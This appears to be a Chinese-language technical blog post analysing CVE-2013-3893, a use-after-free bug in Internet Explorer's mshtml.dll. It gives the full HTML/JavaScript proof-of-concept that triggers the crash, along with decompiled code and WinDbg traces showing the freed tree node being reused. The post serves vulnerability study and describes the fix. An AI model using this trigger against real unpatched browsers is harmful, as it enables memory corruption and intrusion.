IE漏洞调试之CVE-2013-3893
前言
Windows平台的漏洞挖掘和安全研究中,IE始终是绕不开的话题。IE漏洞就跟adobe系列一样经典,是学习exploit、shellcode的绝佳途径。
在IE漏洞中,UAF即Use-After-Free是最为经典的一类。UAF可以这样简单理解:A先后调用B、C、D三个子函数,B会把A的某个资源释放掉;而D由于判断不严谨即使在B把A的资源释放后依然去引用它,比如某个指针,这时D引用了很危险的悬空指针;C是个什么角色呢?我们可以通过B分配数据。所以利用方法来了:构造奇葩的数据,让A调用B,B把A的某个指针释放掉;接着执行C,C赶紧分配内存,企图使用刚才释放掉的内存,同时我们可以控制这个内存;最后D被调用,由于检查不严格调用了已经释放掉的某指针,而该指针实际上已经被我们重用并且扭曲。漏洞被利用。
但是学习IE的资料非常少,已知的大都是大牛们逆向mshtml.dll来的,辛辛苦苦得来的东西也不方便马上透露出来,所以自力更生是很重要的。我们希望了解IE运行机制,自己fuzz并找到有价值的漏洞。与此同时,能够调试已公布的漏洞,学习已有的POC,也是很重要的能力。所以这里选择CVE-2013-3893这个经典的UAF来学习IE漏洞的调试。
工具
windbg、ida、各版本IE程序、xp/vista/win7/win8虚拟机
windbg用于动态调试;IDA用于静态分析mshtml.dll——实现IE解释器的dll;各版本IE和windows是必不可少的。
基础知识
出现一个新的漏洞,涉及到的解析过程我们并不一定分析过,所以分析漏洞的同时也是学习浏览器机制的好机会。比如CVE-2013-3893这个漏洞,我们需要了解CTreeNode和元素的关系以及几个关键的函数实现。具体的结合POC和调试过程分析。
POC
<html> <script> function trigger() { Math.tan(3,4); var id_0 = document.createElement("sup"); var id_1 = document.createElement("audio"); Math.sin(0); document.body.appendChild(id_0); document.body.appendChild(id_1); Math.cos(0); id_1.applyElement(id_0); Math.tan(3,4); id_0.onlosecapture=function(e){ document.write(""); } Math.sin(0); id_0[‘outerText’]=""; Math.cos(0); id_0.setCapture(); Math.tan(3,4); id_1.setCapture(); Math.sin(0); } window.onload = function() { trigger(); } </script> </html>
调试技巧
用windbg载入IE时设置jscript!tan、jscript!sin、jscript!cos断点,逐语句分析。也可以将POC页面设置为IE主页,便于直接载入。结合IDA对mshtml.dll分析相关函数。
漏洞原理
id_1.setCapture时,进入CDoc::PumpMessage;获取Element的TreeNode,调用CDoc::ReleaseDetachedCaptures();参数为0调用CDos::SetMouseCapture,进入CDos::ClearMouseCapture,调用CElement::FireEvent,触发事件导致id_0.onlosecapture指定的js函数调用,document.write(“”),该函数将所有对象释放CBodyElement的CTreeNode也被释放。然后返回PumpMessage,CDos::HasContainerCapture被调用,它引用了释放的CTreeNode对象。UAF发生。看下面IDA静态分析的代码。
int __userpurge CDoc::SetMouseCapture<eax>(int a1<eax>, LPVOID lpMem, int a3, int a4, int a5, int a6, int a7) { int v7; // ebx@1 int flag; // edi@1 int result; // eax@3 int v10; // esi@9 int v11; // ecx@16 int v12; // eax@22 int v13; // ST14_4@28 char v14; // [sp+10h] [bp-98h]@21 int v15; // [sp+14h] [bp-94h]@21 int v16; // [sp+A4h] [bp-4h]@5 void *lpMema; // [sp+B0h] [bp+8h]@7 v7 = (int)lpMem; flag = a1; if ( *((_WORD *)lpMem + 938) & 0x1000 ) flag = 0; if ( flag ) { v16 = (*((_DWORD *)lpMem + 65) >> 2) - 1; result = v16; if ( v16 < 0 ) goto LABEL_33; v11 = *((_DWORD *)lpMem + 67) + 4 * v16; do { if ( *(_DWORD *)(*(_DWORD *)v11 + 8) == flag ) break; --result; v11 -= 4; } while ( result >= 0 ); if ( result < 0 ) { LABEL_33: result = ATL_malloc(0x10u); if ( result ) { result = CElementCapture::CElementCapture(result, a6, a7, a3, a4); lpMema = (void *)result; } else { lpMema = 0; } if ( lpMema ) { v10 = CDoc::GetLastCapture(v7); if ( v10 && CDoc::HasContainerCapture(v7) ) { CMessage::CMessage(&v14, 0); v15 = 533; CDoc::PumpMessage(v7, (int)&v14, 0, 0); if ( v10 == CDoc::GetLastCapture(v7) ) { v12 = *(_DWORD *)(v10 + 12); if ( !(v12 & 2) ) { if ( !(*(_DWORD *)(*(_DWORD *)(v10 + 8) + 28) & 0x8000000) ) { *(_DWORD *)(v10 + 12) = v12 | 2; *(_DWORD *)(v7 + 1876) |= 0x1000u; CElement::FireEvent(&s_propdescCElementonlosecapture, 1, 0, -1, 0, 0); *(_DWORD *)(v7 + 1876) &= 0xFFFFEFFFu; } } } if ( *(_DWORD *)(v7 + 260) & 0xFFFFFFFC ) { if ( v10 == CDoc::GetLastCapture(v7) ) { CElementCapture::_CElementCapture(); CBlockElement::operator delete((LPVOID)v10); CImplPtrAry::Delete(v13, v7 + 256); } CImplPtrAry::Append(); } else { CElementCapture::_CElementCapture(); CBlockElement::operator delete(lpMema); } result = CMessage::_CMessage(); } else { result = CImplPtrAry::Append(); if ( !v10 ) result = CServer::SetCapture(1); } } } } else { result = CDoc::ClearMouseCapture(lpMem, 0); } return result; }
调试过程
0:008> bl 1 e 633b87ca 0001 (0001) 0:**** jscript!sin 2 e 633b5cea 0001 (0001) 0:**** jscript!tan 3 e 633b8820 0001 (0001) 0:**** jscript!Cos
三个断点下好。根据POC的执行流程来。首先是createElement,我们在CDocument::createElement下断,获取ld_0和ld_1的element对象地址。
ld_0 element对象地址为 0020aad8。同时可以看到createElement的调用栈。在同一位置下断,获取ld_1的对象地址。
0:008> bp eip Ld_1对象地址为 0021cee8。
下面的语句:document.body.appendChild(id_0);document.body.appendChild(id_1); 在CElement::appendChild下断。获取element对应的CTreeNode对象。该函数最后调用 mshtml!CMarkup::InsertElementInternal完成操作,在InsertElementInternal内部调用CTreeNode构造函数。
ld_0 对应的 CTreeNode对象地址为 03291fc8。
ld_1对应的 CTreeNode对象地址为03292020。
同时可以发现 CTreeNode->CElement。Element偏移为0。
0:008> dc 0021cee8 0021cee8 635db4c8 00000002 00000008 02d14e20 ..]c........ N.. 0021cef8 003bd060 03292020 00000075 00010200 `.;. ).u.......
Element偏移0×14为其对应的CTreeNode结构。
id_1.applyElement(id_0);语句和appendChild执行过程差不多,我猜测appendChild是将两个元素插入DOM树,而applyElement是将id0和id1的CTreeNode对象变成父子关系。
看看ld0和ld1的对象和CTreeNode对象发生了什么变化:
之前:
Ld0 ctreenode 0:008> dc 03291fc8 l8 03291fc8 0020aad8 00203f10 ffff0060 ffffffff .. ..? .`....... 03291fd8 00000000 00000000 00000000 00000000 ................ Ld1 ctreenode 0:008> dc 03292020 03292020 0021cee8 00203f10 ffff0275 ffffffff ..!..? .u....... 03292030 00000061 00000000 02da6fe0 02ccd4f8 a........o......
完成这个操作之后:
Ld0 ctreenode 0:008> dc 03291fc8 l8 03291fc8 0020aad8 00203f10 00020260 00030001 .. ..? .`....... 03291fd8 00000061 00000000 03292048 02da6ec8 a.......H )..n.. Ld1 ctreenode 0:008> dc 03292020 l8 03292020 0021cee8 03291fc8 00020275 00000001 ..!...).u....... 03292030 00000051 00000000 00000000 03291ff0 Q.............).
一个疑似链表结构出现。DOM对象也是链接起来的。也说明00203f10是CBodyElement对应的CTreeNode。
0:008> dc 00203f10 l8 00203f10 02da6680 00203e60 00016210 00010000 .f..`> ..b...... 00203f20 00000551 00000008 00203e18 03291fd8 Q........> ...).
接下来是一个设置,ld0的onlosecapture失去聚焦时执行的函数,页面清空。然后id_0[‘outerText’]=””;,js不太熟悉,这个操作执行之后id0应该会从DOM树脱离下来。Id1作为儿子也会脱离DOM树。应该是这样。
Ld1先被release。然后是ld0。
此时再看ctreenode地址:
0:008> dc 3291fc8 l8 03291fc8 0020002e 00000000 ffff0060 ffffffff .. .....`....... 03291fd8 00000051 00000000 00000000 00000000 Q............... 0:008> dc 03292020 03292020 00210039 00000000 ffff0075 ffffffff 9.!.....u....... 03292030 00000051 00000000 00000000 00000000 Q...............
已经被释放了。
然后进入重点SetMouseCapture。Eax = 20aad8。
mshtml!CDoc::SetMouseCapture: 635ddca3 8bff mov edi,edi 635ddca5 55 push ebp 635ddca6 8bec mov ebp,esp 635ddca8 81ec9c000000 sub esp,9Ch 635ddcae 53 push ebx 635ddcaf 8b5d08 mov ebx,dword ptr [ebp+8] 635ddcb2 66f783540700000010 test word ptr [ebx+754h],1000h 635ddcbb 56 push esi 635ddcbc 57 push edi 635ddcbd 8bf8 mov edi,eax 635ddcbf 0f8566f62100 jne mshtml!CDoc::SetMouseCapture+0x1e (637fd32b) 635ddcc5 33f6 xor esi,esi 635ddcc7 3bfe cmp edi,esi 635ddcc9 0f857d860d00 jne mshtml!CDoc::SetMouseCapture+0x32 (636b634c) [br=1] 会跳转: 636b634c 8b8304010000 mov eax,dword ptr [ebx+104h] 636b6352 c1e802 shr eax,2 636b6355 48 dec eax 636b6356 3bc6 cmp eax,esi 636b6358 8945fc mov dword ptr [ebp-4],eax 636b635b 0f8dd16f1400 jge mshtml!CDoc::SetMouseCapture+0x43 (637fd332) 636b6361 6a10 push 10h 636b6363 e85dd0f7ff call mshtml!operator new (636333c5) 636b6368 3bc6 cmp eax,esi 636b636a 59 pop ecx 636b636b 7466 je mshtml!CDoc::SetMouseCapture+0x8b (636b63d3) 636b636d ff7510 push dword ptr [ebp+10h] 636b6370 8b4d14 mov ecx,dword ptr [ebp+14h] 636b6373 ff750c push dword ptr [ebp+0Ch] 636b6376 8bd7 mov edx,edi 636b6378 ff751c push dword ptr [ebp+1Ch] 636b637b ff7518 push dword ptr [ebp+18h] 636b637e 50 push eax 636b637f e859000000 call mshtml!CElementCapture::CElementCapture (636b63dd) 636b6384 894508 mov dword ptr [ebp+8],eax 636b6387 397508 cmp dword ptr [ebp+8],esi 636b638a 0f844679f2ff je mshtml!CDoc::SetMouseCapture+0x1ae (635ddcd6) 636b6390 8bcb mov ecx,ebx 636b6390 8bcb mov ecx,ebx 636b6392 e8f6e0f3ff call mshtml!CDoc::GetLastCapture (635f448d) 636b6397 8bf0 mov esi,eax 636b6399 85f6 test esi,esi 636b639b 897510 mov dword ptr [ebp+10h],esi 636b639e 0f85b06f1400 jne mshtml!CDoc::SetMouseCapture+0xab (637fd354) 636b63a4 8b7d08 mov edi,dword ptr [ebp+8] 636b63a7 8db300010000 lea esi,[ebx+100h] 636b63ad e88456f8ff call mshtml!CImplPtrAry::Append (6363ba36) 636b63b2 837d1000 cmp dword ptr [ebp+10h],0 636b63b6 0f851a79f2ff jne mshtml!CDoc::SetMouseCapture+0x1ae (635ddcd6) 636b63bc 6a01 push 1 636b63be 8bf3 mov esi,ebx 636b63c0 e880d9ffff call mshtml!CServer::SetCapture (636b3d45) 636b63c5 e90c79f2ff jmp mshtml!CDoc::SetMouseCapture+0x1ae (635ddcd6)
相当于走了如下流程:
if ( v10 && CDoc::HasContainerCapture(v7) ) { } Else { result = CImplPtrAry::Append(); if ( !v10 ) result = CServer::SetCapture(1); }
当id1执行SetMouseCapture时,情况就不一样了,这是GetLastCapture不为空。执行如下流程:
CDoc::PumpMessage(v7, (int)&v14, 0, 0); 636b639e 0f85b06f1400 jne mshtml!CDoc::SetMouseCapture+0xab (637fd354) [br=1] ...... 637fd354 8b7f14 mov edi,dword ptr [edi+14h] ds:0023:0021cefc=00000000 637fd357 8bcb mov ecx,ebx 637fd359 e80271dfff call mshtml!CDoc::HasContainerCapture (635f4460) 637fd35e 85c0 test eax,eax 637fd360 0f843e90ebff je mshtml!CDoc::SetMouseCapture+0x191 (636b63a4) 637fd366 33ff xor edi,edi 637fd368 57 push edi 637fd369 8d8568ffffff lea eax,[ebp-98h] 637fd36f 50 push eax 637fd370 e8bdc3efff call mshtml!CMessage::CMessage (636f9732) 637fd375 57 push edi 637fd376 57 push edi 637fd377 8d8568ffffff lea eax,[ebp-98h] 637fd37d 50 push eax 637fd37e 8bcb mov ecx,ebx 637fd380 c7856cffffff15020000 mov dword ptr [ebp-94h],215h 637fd38a e8386adfff call mshtml!CDoc::PumpMessage (635f3dc7) 637fd38f 8bcb mov ecx,ebx
进入PumpMessage函数。有点类似win32的消息处理。跟一下会走到什么地方。
敏感调用:
635f3f68 8b4014 mov eax,dword ptr [eax+14h] 635f3f6b 89442410 mov dword ptr [esp+10h],eax 635f3f84 57 push edi 635f3f85 e815feffff call mshtml!CDoc::ReleaseDetachedCaptures (635f3d9f)
0:008> r eax eax=00203f10
发现eax正是CBodyElement对应的CTreeNode。
函数内部接着跟,发现这个:
637fd484 52 push edx 637fd485 33c9 xor ecx,ecx 637fd487 51 push ecx 637fd488 52 push edx 637fd489 52 push edx 637fd48a 6a01 push 1 637fd48c 50 push eax 637fd48d 33c0 xor eax,eax 637fd48f e80f08deff call mshtml!CDoc::SetMouseCapture (635ddca3)
寄存器值:
0:008> r eax=00000000 ebx=00000001 ecx=00000000 edx=00000000 esi=0020aad8 edi=00195de8
又一次调用SetMouseCapture,这时eax = 0,走的流程我们可以跟一下:
mshtml!CDoc::SetMouseCapture: 635ddca3 8bff mov edi,edi 635ddca5 55 push ebp 635ddca6 8bec mov ebp,esp 635ddca8 81ec9c000000 sub esp,9Ch 635ddcae 53 push ebx 635ddcaf 8b5d08 mov ebx,dword ptr [ebp+8] 635ddcb2 66f783540700000010 test word ptr [ebx+754h],1000h 635ddcbb 56 push esi 635ddcbc 57 push edi 635ddcbd 8bf8 mov edi,eax 635ddcbf 0f8566f62100 jne mshtml!CDoc::SetMouseCapture+0x1e (637fd32b) 635ddcc5 33f6 xor esi,esi 635ddcc7 3bfe cmp edi,esi 635ddcc9 0f857d860d00 jne mshtml!CDoc::SetMouseCapture+0x32 (636b634c) 635ddccf 56 push esi 635ddcd0 53 push ebx 635ddcd1 e817780400 call mshtml!CDoc::ClearMouseCapture (636254ed)
调用ClearMouseCapture,注意此时ld1的SetCapture还没有完成,也就是说焦点依然在ld0。ClearMouseCapture显然会触发document.write那句话。按理说这句话应该把所有对象清除。但是我调试的过程中并没发生异常。继续跟一下。接着在PumpMessage中:
0:008> r edi edi=00203f10 0:008> r ecx ecx=00195de8
0:008> dc edi 00203f10 02da00b2 00000000 ffff6410 ffffffff .........d...... 00203f20 00000571 00000008 00000000 00000000 q............... 0:008> dc ecx 00195de8 63633f18 00000014 000000a8 00000000 .?cc............ 00195df8 00000000 6363bcfc 00195de8 00178efc ......cc.]......
635f587a 8b7c2410 mov edi,dword ptr [esp+10h] 635f587e 8b4c2414 mov ecx,dword ptr [esp+14h] 635f5882 e8d9ebffff call mshtml!CDoc::HasContainerCapture (635f4460)
确实CBodyElement对应的CTreeNode不太一样了。
跟进看看:
mshtml!CDoc::HasContainerCapture: 635f4460 8bff mov edi,edi 635f4462 55 push ebp 635f4463 8bec mov ebp,esp 635f4465 51 push ecx 635f4466 56 push esi 635f4467 e821000000 call mshtml!CDoc::GetLastCapture (635f448d) 635f446c 8bf0 mov esi,eax 635f446e 33c0 xor eax,eax 635f4470 3bf8 cmp edi,eax 635f4472 0f8430210c00 je mshtml!CDoc::HasContainerCapture+0x1b (636b65a8) 635f4478 8b0f mov ecx,dword ptr [edi] ds:0023:00203f10=02da00b2 635f447a 894dfc mov dword ptr [ebp-4],ecx
这里出问题了应该。CBodyElement查找出现问题。
接着跟PumpMessage:
ecx=00203f10 edi=00203f10
635f3fd9 8bcf mov ecx,edi 635f3fdb 897c241c mov dword ptr [esp+1Ch],edi 635f3fdf e82eed0600 call mshtml!CTreeNode::NodeAddRef (63662d12)
还是跟进看:
mshtml!CTreeNode::NodeAddRef: 63662d12 8bff mov edi,edi 63662d14 55 push ebp 63662d15 8bec mov ebp,esp 63662d17 51 push ecx 63662d18 8365fc00 and dword ptr [ebp-4],0 63662d1c e82cffffff call mshtml!CTreeNode::AddRef (63662c4d) 63662d21 f6414002 test byte ptr [ecx+40h],2 63662d25 0f855209f9ff jne mshtml!CTreeNode::NodeAddRef+0x26 (635f367d) 63662d2b 8d45fc lea eax,[ebp-4] 63662d2e 50 push eax 63662d2f 68e0976363 push offset mshtml!IID_IUnknown (636397e0) 63662d34 51 push ecx 63662d35 e807000000 call mshtml!CTreeNode::GetInterface (63662d41) 63662d3a c9 leave 63662d3b c3 ret
代码非常简单 跟进GetInterface看,找到了出问题的代码:
63662dbe 8b03 mov eax,dword ptr [ebx] ds:0023:00203f10=02da00b2 63662dc0 8b08 mov ecx,dword ptr [eax] ds:0023:02da00b2=00000000 63662dca ff11 call dword ptr [ecx]
找到问题了,就是之前把CTreeNode改掉了,导致CBodyElement对象寻址错误。典型的UAF漏洞。
IE对该漏洞进行补丁,将进入PumpMessage的判断条件修正了一下:如果对象已经不在DOM树上,将不进入PumpMessage。